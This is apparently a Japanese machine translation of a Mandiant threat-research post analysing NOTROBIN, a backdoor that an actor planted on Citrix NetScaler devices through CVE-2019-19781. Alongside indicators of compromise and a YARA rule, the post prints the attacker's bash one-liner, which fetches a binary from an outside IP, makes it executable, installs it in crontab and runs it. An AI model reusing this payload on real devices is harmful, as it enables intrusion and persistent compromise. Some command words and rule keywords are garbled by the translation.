バックドアを維持しながら、Citrix NetScaler の脆弱性に対する緩和策を展開する Vigilante

NOTROBIN logic that drops UDP traffic news

ラフ パッチ: I Promise It’ll Be 200 OKで述べたように、当社のFireEye Mandiant Incident Response チームは、CVE-2019-19781 の悪用に起因する侵入への対応に懸命に取り組んできました。 Citrix の緩和手順が実装されていない Citrix ADC に対する数十件の成功した悪用の試みを分析した後、悪用後の活動の複数のグループを認識しました。これらの中で、何かが私たちの目に留まりました。それは、コード ファミリー NOTROBIN を作成した、これまでに見られなかったペイロードを展開している特定の脅威アクターです。

この攻撃者は、脆弱な NetScaler デバイスへのアクセスを取得すると、既知のマルウェアをクリーンアップし、その後の悪用の試みをブロックするために NOTROBIN を展開します!しかし、NOTROBIN は秘密のパスフレーズを知っている人のためにバックドア アクセスを維持しているため、すべてが思ったようにはいきません。 FireEye は、この攻撃者がその後のキャンペーンのために NetScaler デバイスへのアクセスを密かに収集している可能性があると考えています。

最初の妥協

この攻撃者は、CVE-2019-19781 を使用して NetScaler デバイスを悪用し、侵入先のデバイスでシェル コマンドを実行します。 Tor 出口ノードから HTTP POST リクエストを発行して、ペイロードを脆弱なnewbm.pl CGI スクリプトに送信します。たとえば、図 1 は、悪用を記録する Web サーバー アクセス ログ エントリを示しています。

127.0.0.2 – – “ポスト
/vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1″ 304 – “-” “curl/7.67.0”

図 1: エクスプロイトを示す Web ログ

他の攻撃者とは異なり、この攻撃者は、HTTP 304 応答を返す単一の HTTP POST 要求を使用してデバイスを悪用しているようです。ステージングされたコマンドを呼び出すための HTTP GET は観測されていません。残念ながら、POST 本文の内容を復元して、その動作を確認することはできませんでした。いずれにせよ、悪用により、図 2 に示す Bash one liner が侵害されたシステムで実行されます。

pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init;カール -k
hxxps://95.179.163[.]186/wp-content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o
/tmp/.init/httpd; chmod 744 /tmp/.init/httpd;エコー “* * * * *
/var/nstmp/.nscache/httpd” | crontab -; /tmp/.init/httpd &”

図 2: Bash エクスプロイト ペイロード

これは、 Rough Patch: I Promise It’ll Be 200 OKで説明されている方法と同じです。この一連のコマンドの効果は次のとおりです。

  1. netscalerdの実行中のすべてのインスタンスを強制終了して削除します。これは、NetScaler デバイスに展開された暗号通貨マイニング ユーティリティに使用される一般的なプロセス名です。
  2. 非表示のステージング ディレクトリ/tmp/.initを作成し、そこに NOTROBIN をダウンロードして、実行権限を有効にします。
  3. cronデーモンを介して永続化するために/var/nstmp/.nscache/httpdをインストールします。これは、NOTROBIN が自身をコピーするパスです。
  4. NOTROBIN を手動で実行します。

ここで開梱することがたくさんあります。注目すべきは、攻撃者が CVE-2019-19781 の脆弱性を介して NetScaler デバイスを標的にすることが知られているマルウェアを削除することです。暗号通貨マイナーは一般的に簡単に識別できます。CPU をほぼ 100% 使用しているプロセスを探すだけです。これらの望ましくないユーティリティをアンインストールすることで、攻撃者は、管理者が NetScaler デバイスの明らかな侵害を見逃すことを期待する可能性があります。

攻撃者は、 curlを使用して、放棄された WordPress サイトのように見える IP アドレス95.179.163[.]186のホスティング サーバーから NOTROBIN をフェッチします。 FireEye は、このサーバーでホストされている多数のペイロードを特定しており、それぞれに埋め込まれた認証キーにちなんで名付けられています。興味深いことに、複数のクライアントで同じペイロードが再利用されたことはありません。ペイロードの区画化は、アクターが運用上のセキュリティを行使していることを示します。

FireEye は、NOTROBIN の永続的なインストールを確認する、図 3 に示すようなcron syslog エントリを回復しました。これらのエントリは、最初の侵害の直後に表示されることに注意してください。これは、NetScaler デバイスをトリアージするための侵害の強力な指標です。

1 月 12 日 21:57:00 <cron.info> foo.netscaler /usr/sbin/cron[73531]:
(誰もいない) CMD (/var/nstmp/.nscache/httpd)

図 3: NOTROBIN の実行を示す cron ログ エントリ

では、NOTROBIN の機能に注目してみましょう。

ノトロビンの分析

NOTROBIN は、Go 1.10 で作成され、BSD システム用の 64 ビット ELF バイナリにコンパイルされたユーティリティです。ファイル名のパターンとコンテンツの特性に一致するファイルを定期的にスキャンして削除します。目的は、CVE-2019-19781 の脆弱性に対するエクスプロイトの試みをブロックすることであると思われます。ただし、FireEye は、NOTROBIN が侵害されたシステムへのバックドア アクセスを提供していると考えています。

実行されると、NOTROBIN はパス/var/nstmp/.nscache/httpdから実行されていることを確認します。そうでない場合、ユーティリティは自身をこのパスにコピーし、新しいコピーを作成して終了します。これにより、長時間実行されるプロセスが実行される疑わしい場所である/tmp/から、明らかに NetScaler 関連の隠しディレクトリにプロセスを移行することで、検出を回避できます。

ここから楽しみが始まります。エクスプロイトを定期的にチェックして削除する 2 つのルーチンが生成されます。

NOTROBIN は毎秒、ディレクトリ/netscaler/portal/scripts/を検索して、過去 14 日以内に作成されたエントリを探し、ファイル名またはファイルの内容にハードコードされたキーが含まれていない限り、それらを削除します (例: 64d4c2d3ee56af4f4ca8171556d50faa )。オープン ソースの報告によると、CVE-2019-19781 を悪用した後、一部の攻撃者がこのディレクトリにスクリプトを書き込みます。したがって、このルーチンによって、 PersonalBookmark.plなどの既知のペイロードがシステムから消去されると考えられます。

NOTROBIN は 1 秒あたり 8 回、ディレクトリ/netscaler/portal/templates/で拡張子が.xmlのファイルを検索します。これは、CVE-2019-19781 のエクスプロイトが攻撃者のコマンドを含むテンプレートを書き込むディレクトリです。 NOTROBIN は、文字列blockまたはBLOCKのいずれかを含むファイルを削除します。これは、 ProjectZeroIndia エクスプロイトで見つかったような潜在的なエクスプロイト コードと一致する可能性があります。ただし、ユーティリティは、秘密鍵を含むファイル名を持つファイルを削除しません。

FireEye は、侵害された NetScaler デバイスへのバックドア アクセスを維持しながら、攻撃者が CVE-2019-19781 の脆弱性の悪用をブロックするために NOTROBIN を展開していると考えています。軽減策は、NetScaler テンプレート内にあるステージングされたエクスプロイト コードを実行前に削除することで機能します。ただし、アクターがその後のエクスプロイトでハードコーディングされたキーを提供すると、NOTROBIN はペイロードを削除しませ。これにより、攻撃者は後で脆弱なデバイスへのアクセスを取り戻すことができます。

複数の調査を通じて、FireEye は攻撃者が一意のキーを使用して NOTROBIN を展開していることを確認しました。たとえば、さまざまなバイナリから 100 近くのキーを復元しました。これらは MD5 ハッシュのように見えますが、FireEye は平文の復元に成功していません。複雑で一意のキーを使用すると、競合する攻撃者や FireEye などのサードパーティが、NOTROBIN によって「保護された」NetScaler デバイスを簡単にスキャンすることが困難になります。この攻撃者は強力なパスワード ポリシーに従っています。

NOTROBIN 内で見つかった文字列に基づいて、攻撃者は、キーにちなんで名付けられたソース コード ファイルを使用して Go プロジェクトにキーを挿入しているように見えます。図 4 と図 5 は、これらのファイル名の例を示しています。

/tmp/b/.tmpl_ci/64d4c2d3ee56af4f4ca8171556d50faa.go

図 4: NOTROBIN サンプルから復元されたソース ファイル名

/ルート/バックアップ/ソース/d474a8de77902851f96a3b7aa2dcbb8e.go

図 5: NOTROBIN サンプルから復元されたソース ファイル名

「tmpl_ci」は、ソース コード テンプレートを適用してキーを挿入し、NOTROBIN バリアントを構築する継続的インテグレーション セットアップを指しているのではないかと考えています。また、攻撃者が元のソースを失った後にバックアップに戻る必要がなかったことを願っています!

未解決の質問

NOTROBIN は、UDP ポート 18634 をリッスンしてデータを受信するバックグラウンド ルーチンを生成します。ただし、検査せずにデータを削除します。このロジックを図 6 に示します。FireEye はこの動作の目的を明らかにしていませんが、DCSOは、このポートでアクティブにできるリスナーは 1 つだけであるため、これがミューテックスとして使用されていることを強く主張しています。

NOTROBIN logic that drops UDP traffic
図 6: UDP トラフィックをドロップする NOTROBIN ロジック

実装が削除された空の関数main.install_cronもあります。あるいは、これらは NOTROBIN の初期バージョンの痕跡である可能性があります。いずれにせよ、UDP ポート 18634 でリッスンしている NetScaler デバイスは、侵害の信頼できる指標です。図 7 は、UDP 18634 でリッスンしているポートを含む、侵害された NetScaler デバイスで開いているファイル ハンドルを一覧表示する例を示しています。

侵害された NetScaler デバイスのファイル処理リスト
図 7: 侵害された NetScaler デバイスのファイル処理リスト

ノトロビンの効能

ある取り組みにおいて、FireEye は、攻撃者によって NOTROBIN が展開される前後の両方で、単一のデバイスに対する NetScaler のエクスプロイト試行の法医学的証拠を確認しました。 NOTROBIN がインストールされる前の 1 月 12 日より前に、複数の攻撃者からの成功した攻撃を特定しました。しかし、その後の 3 日間で、NOTROBIN によって 12 件以上のエクスプロイトの試みが阻止されました。言い換えれば、NOTROBIN は、脆弱なデバイスに感染を広げないようにしました。たとえば、図 8 は、失敗した悪用の試みを記録するログ メッセージを示しています。

127.0.0.2 – – “GET
/vpn/../vpns/portal/wTyaINaDVPaw8rmh.xml HTTP/1.1″ 404 48 “-“
「カール/7.47.0」

図 8: 悪用の試みが失敗したことを示す Web ログ エントリ

このアクターは、テンプレートwTyaINaDVPaw8rmh.xmlにステージングされたペイロードを呼び出そうとするため、アプリケーション サーバーは HTTP 404 (「Not Found」) で応答したことに注意してください。 NOTROBIN は、悪意のあるテンプレートを作成後すぐに削除しましたが、他のアクターが使用する前に削除しました。

FireEye は、攻撃者が NOTROBIN バックドアに戻ったかどうかをまだ特定していません。

結論

FireEye は、NOTROBIN の背後にいる攻撃者が、おそらく今後のキャンペーンに備えるために、NetScaler デバイスを日和見的に侵害していると考えています。 Citrix のセキュリティ情報CTX267027を読んだ後にデバイスにチェックインする管理者による検出を回避するために、他の既知のマルウェアを削除する可能性があります。 NOTROBIN は、侵害されたデバイスで CVE-2019-19781 を軽減しますが、秘密鍵を持つアクターのバックドアを保持します。俳優が戻ってくるのを見たことはありませんが、彼らがインターネットを影から守るロビンフッドのキャラクターであり続けるかどうかは懐疑的です.

侵害と検出の指標

表 1 に、FireEye が特定した NOTROBIN 亜種と一致する指標を示します。ドメインvilarunners[.]catは、NOTROBIN ペイロードをホストした WordPress サイトです。ドメインは、活動が観察されている間に95.179.163[.]186に解決されました。 1 月 15 日現在、 vilarunners[.]cat ドメインは現在、新しい IP アドレス80.240.31[.]218に解決されています。

IOCアイテム

価値

HTTP URL プレフィックス

hxxps://95[.]179.163.186/wp-content/uploads/2018/09/

ディレクトリ

/var/nstmp/.nscache

ファイル名

/var/nstmp/.nscache/httpd

ディレクトリ

/tmp/.init

ファイル名

/tmp/.init/httpd

Crontab エントリ

/var/nstmp/.nscache/httpd

リスニング UDP ポート

18634

リモート IP

95.179.163[.]186

リモート IP

80.240.31[.]218

ドメイン

vilarunners[.]猫

表 1: 侵害の兆候

VirusTotal での発見

次の VTI クエリを使用して、VirusTotal で NOTROBIN の亜種を特定できます。

  • vhash: “73cee1e8e1c3265c8f836516c53ae042”
  • vhash: “e57a7713cdf89a2f72c6526549d22987”

vHash の実装は非公開であるため、この手法が機能する理由を確認できないことに注意してください。実際には、vHash は、図 9 にリストされている Yara ルールによって識別されるバリアントと同じバリアントをカバーしています。

ルールノトロビン

{

メタ:

著者 = “william.ballenthin@fireeye.com”

date_created = “2020-01-15”

文字列:

$func_name_1 = “main.remove_bds”

$func_name_2 = “main.xrun”

調子:

それらのすべて

}

図 9: NOTROBIN バリアントに一致する Yara ルール

復元された認証キー

FireEye は、攻撃者が侵害された環境に再び侵入するために使用できる NOTROBIN の亜種から、100 近くのハードコードされたキーを特定しました。これらの文字列は、ファイル名またはペイロード コンテンツとして、その後の悪用の試みで見つかる可能性があると予想されます。お客様への懸念からここでは公開しませんが、お使いの環境で NOTROBIN をお探しの場合はお問い合わせください。リストを提供できます。

謝辞

現在この活動に対応している FireEye 全体のアナリストに感謝します。たとえば、アーティファクトの収集と解釈を行ったBrandan Schondorfer氏、分析の調整を行ったSteven Miller 氏、インテル リード間で方向転換を行ったEvan Reese氏、技術的側面のレビューを行ったChris Glyer 氏、リバース エンジニアリング NOTROBIN を行ったMoritz Raabe氏などです。サンプル、およびプレゼンテーションと結論を改良するためのAshley Frazer

参照: https://www.mandiant.com/resources/blog/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor

Comments

Copied title and URL